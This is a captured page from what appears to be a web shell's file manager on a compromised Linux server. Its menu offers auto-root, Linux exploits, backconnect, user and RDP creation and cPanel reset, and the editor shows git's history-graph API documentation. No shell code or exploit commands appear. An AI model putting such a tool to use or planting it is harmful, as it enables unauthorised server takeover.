Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els11.x86_64 #1 SMP Sun Nov 3 09:06:59 UTC 2024 x86_64
Apache
: 148.66.134.25 | : 18.222.20.3
66 Domain
8.0.30
amvm
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
git-1.8.3.1 /
technical /
[ HOME SHELL ]
Name
Size
Permission
Action
api-allocation-growing.html
17.55
KB
-rw-r--r--
api-allocation-growing.txt
1019
B
-rw-r--r--
api-argv-array.html
19.44
KB
-rw-r--r--
api-argv-array.txt
2.12
KB
-rw-r--r--
api-builtin.html
19.43
KB
-rw-r--r--
api-builtin.txt
2
KB
-rw-r--r--
api-config.html
23.39
KB
-rw-r--r--
api-config.txt
5.18
KB
-rw-r--r--
api-credentials.html
27.9
KB
-rw-r--r--
api-credentials.txt
8.87
KB
-rw-r--r--
api-decorate.html
16.23
KB
-rw-r--r--
api-decorate.txt
60
B
-rw-r--r--
api-diff.html
24.32
KB
-rw-r--r--
api-diff.txt
5.22
KB
-rw-r--r--
api-directory-listing.html
20.75
KB
-rw-r--r--
api-directory-listing.txt
2.71
KB
-rw-r--r--
api-gitattributes.html
21.9
KB
-rw-r--r--
api-gitattributes.txt
3.62
KB
-rw-r--r--
api-grep.html
16.31
KB
-rw-r--r--
api-grep.txt
76
B
-rw-r--r--
api-hash.html
18.42
KB
-rw-r--r--
api-hash.txt
1.4
KB
-rw-r--r--
api-hashmap.html
35.57
KB
-rw-r--r--
api-hashmap.txt
7.71
KB
-rw-r--r--
api-history-graph.html
24.08
KB
-rw-r--r--
api-history-graph.txt
5.9
KB
-rw-r--r--
api-in-core-index.html
16.96
KB
-rw-r--r--
api-in-core-index.txt
457
B
-rw-r--r--
api-index-skel.txt
431
B
-rw-r--r--
api-index.html
18.45
KB
-rw-r--r--
api-index.sh
611
B
-rw-r--r--
api-index.txt
1.68
KB
-rw-r--r--
api-lockfile.html
20.05
KB
-rw-r--r--
api-lockfile.txt
2.92
KB
-rw-r--r--
api-merge.html
21.36
KB
-rw-r--r--
api-merge.txt
3.3
KB
-rw-r--r--
api-object-access.html
16.73
KB
-rw-r--r--
api-object-access.txt
342
B
-rw-r--r--
api-parse-options.html
31.03
KB
-rw-r--r--
api-parse-options.txt
9.36
KB
-rw-r--r--
api-quote.html
16.42
KB
-rw-r--r--
api-quote.txt
145
B
-rw-r--r--
api-ref-iteration.html
19.71
KB
-rw-r--r--
api-ref-iteration.txt
2.41
KB
-rw-r--r--
api-remote.html
21.26
KB
-rw-r--r--
api-remote.txt
3.3
KB
-rw-r--r--
api-revision-walking.html
19.76
KB
-rw-r--r--
api-revision-walking.txt
2.39
KB
-rw-r--r--
api-run-command.html
28.25
KB
-rw-r--r--
api-run-command.txt
8.08
KB
-rw-r--r--
api-setup.html
16.51
KB
-rw-r--r--
api-setup.txt
180
B
-rw-r--r--
api-sha1-array.html
19.39
KB
-rw-r--r--
api-sha1-array.txt
2.25
KB
-rw-r--r--
api-sigchain.html
17.74
KB
-rw-r--r--
api-sigchain.txt
1.34
KB
-rw-r--r--
api-strbuf.html
32.15
KB
-rw-r--r--
api-strbuf.txt
10.17
KB
-rw-r--r--
api-string-list.html
26.42
KB
-rw-r--r--
api-string-list.txt
6.84
KB
-rw-r--r--
api-tree-walking.html
23.17
KB
-rw-r--r--
api-tree-walking.txt
4.27
KB
-rw-r--r--
api-xdiff-interface.html
16.3
KB
-rw-r--r--
api-xdiff-interface.txt
139
B
-rw-r--r--
index-format.html
27.12
KB
-rw-r--r--
index-format.txt
6.29
KB
-rw-r--r--
pack-format.html
24.08
KB
-rw-r--r--
pack-format.txt
5.54
KB
-rw-r--r--
pack-heuristics.html
42.74
KB
-rw-r--r--
pack-heuristics.txt
17.77
KB
-rw-r--r--
pack-protocol.html
43.12
KB
-rw-r--r--
pack-protocol.txt
20.99
KB
-rw-r--r--
protocol-capabilities.html
25.41
KB
-rw-r--r--
protocol-capabilities.txt
7.09
KB
-rw-r--r--
protocol-common.html
20.08
KB
-rw-r--r--
protocol-common.txt
2.7
KB
-rw-r--r--
racy-git.html
26.85
KB
-rw-r--r--
racy-git.txt
8.63
KB
-rw-r--r--
send-pack-pipeline.html
18.73
KB
-rw-r--r--
send-pack-pipeline.txt
1.92
KB
-rw-r--r--
shallow.html
18.86
KB
-rw-r--r--
shallow.txt
2.3
KB
-rw-r--r--
trivial-merge.html
21.62
KB
-rw-r--r--
trivial-merge.txt
4.16
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : api-history-graph.txt
history graph API ================= The graph API is used to draw a text-based representation of the commit history. The API generates the graph in a line-by-line fashion. Functions --------- Core functions: * `graph_init()` creates a new `struct git_graph` * `graph_update()` moves the graph to a new commit. * `graph_next_line()` outputs the next line of the graph into a strbuf. It does not add a terminating newline. * `graph_padding_line()` outputs a line of vertical padding in the graph. It is similar to `graph_next_line()`, but is guaranteed to never print the line containing the current commit. Where `graph_next_line()` would print the commit line next, `graph_padding_line()` prints a line that simply extends all branch lines downwards one row, leaving their positions unchanged. * `graph_is_commit_finished()` determines if the graph has output all lines necessary for the current commit. If `graph_update()` is called before all lines for the current commit have been printed, the next call to `graph_next_line()` will output an ellipsis, to indicate that a portion of the graph was omitted. The following utility functions are wrappers around `graph_next_line()` and `graph_is_commit_finished()`. They always print the output to stdout. They can all be called with a NULL graph argument, in which case no graph output will be printed. * `graph_show_commit()` calls `graph_next_line()` and `graph_is_commit_finished()` until one of them return non-zero. This prints all graph lines up to, and including, the line containing this commit. Output is printed to stdout. The last line printed does not contain a terminating newline. * `graph_show_oneline()` calls `graph_next_line()` and prints the result to stdout. The line printed does not contain a terminating newline. * `graph_show_padding()` calls `graph_padding_line()` and prints the result to stdout. The line printed does not contain a terminating newline. * `graph_show_remainder()` calls `graph_next_line()` until `graph_is_commit_finished()` returns non-zero. Output is printed to stdout. The last line printed does not contain a terminating newline. Returns 1 if output was printed, and 0 if no output was necessary. * `graph_show_strbuf()` prints the specified strbuf to stdout, prefixing all lines but the first with a graph line. The caller is responsible for ensuring graph output for the first line has already been printed to stdout. (This can be done with `graph_show_commit()` or `graph_show_oneline()`.) If a NULL graph is supplied, the strbuf is printed as-is. * `graph_show_commit_msg()` is similar to `graph_show_strbuf()`, but it also prints the remainder of the graph, if more lines are needed after the strbuf ends. It is better than directly calling `graph_show_strbuf()` followed by `graph_show_remainder()` since it properly handles buffers that do not end in a terminating newline. The output printed by `graph_show_commit_msg()` will end in a newline if and only if the strbuf ends in a newline. Data structure -------------- `struct git_graph` is an opaque data type used to store the current graph state. Calling sequence ---------------- * Create a `struct git_graph` by calling `graph_init()`. When using the revision walking API, this is done automatically by `setup_revisions()` if the '--graph' option is supplied. * Use the revision walking API to walk through a group of contiguous commits. The `get_revision()` function automatically calls `graph_update()` each time it is invoked. * For each commit, call `graph_next_line()` repeatedly, until `graph_is_commit_finished()` returns non-zero. Each call go `graph_next_line()` will output a single line of the graph. The resulting lines will not contain any newlines. `graph_next_line()` returns 1 if the resulting line contains the current commit, or 0 if this is merely a line needed to adjust the graph before or after the current commit. This return value can be used to determine where to print the commit summary information alongside the graph output. Limitations ----------- * `graph_update()` must be called with commits in topological order. It should not be called on a commit if it has already been invoked with an ancestor of that commit, or the graph output will be incorrect. * `graph_update()` must be called on a contiguous group of commits. If `graph_update()` is called on a particular commit, it should later be called on all parents of that commit. Parents must not be skipped, or the graph output will appear incorrect. + `graph_update()` may be used on a pruned set of commits only if the parent list has been rewritten so as to include only ancestors from the pruned set. * The graph API does not currently support reverse commit ordering. In order to implement reverse ordering, the graphing API needs an (efficient) mechanism to find the children of a commit. Sample usage ------------ ------------ struct commit *commit; struct git_graph *graph = graph_init(opts); while ((commit = get_revision(opts)) != NULL) { graph_update(graph, commit); while (!graph_is_commit_finished(graph)) { struct strbuf sb; int is_commit_line; strbuf_init(&sb, 0); is_commit_line = graph_next_line(graph, &sb); fputs(sb.buf, stdout); if (is_commit_line) log_tree_commit(opts, commit); else putchar(opts->diffopt.line_termination); } } ------------ Sample output ------------- The following is an example of the output from the graph API. This output does not include any commit summary information--callers are responsible for outputting that information, if desired. ------------ * * * |\ * | | | * | \ \ | \ \ *-. \ \ |\ \ \ \ | | * | | | | | | | * | | | | | * | | | | | * | | | | | |\ | | | | | | * | * | | | | | | | | | | * \ | | | | | |\ | | | | | * | | | | | | | * | | | * | | | | | | | | |/ / / / / / |/| / / / / / * | | | | | | |/ / / / / / * | | | | | | | | | | * | | | | |/ | | | | * ------------
Close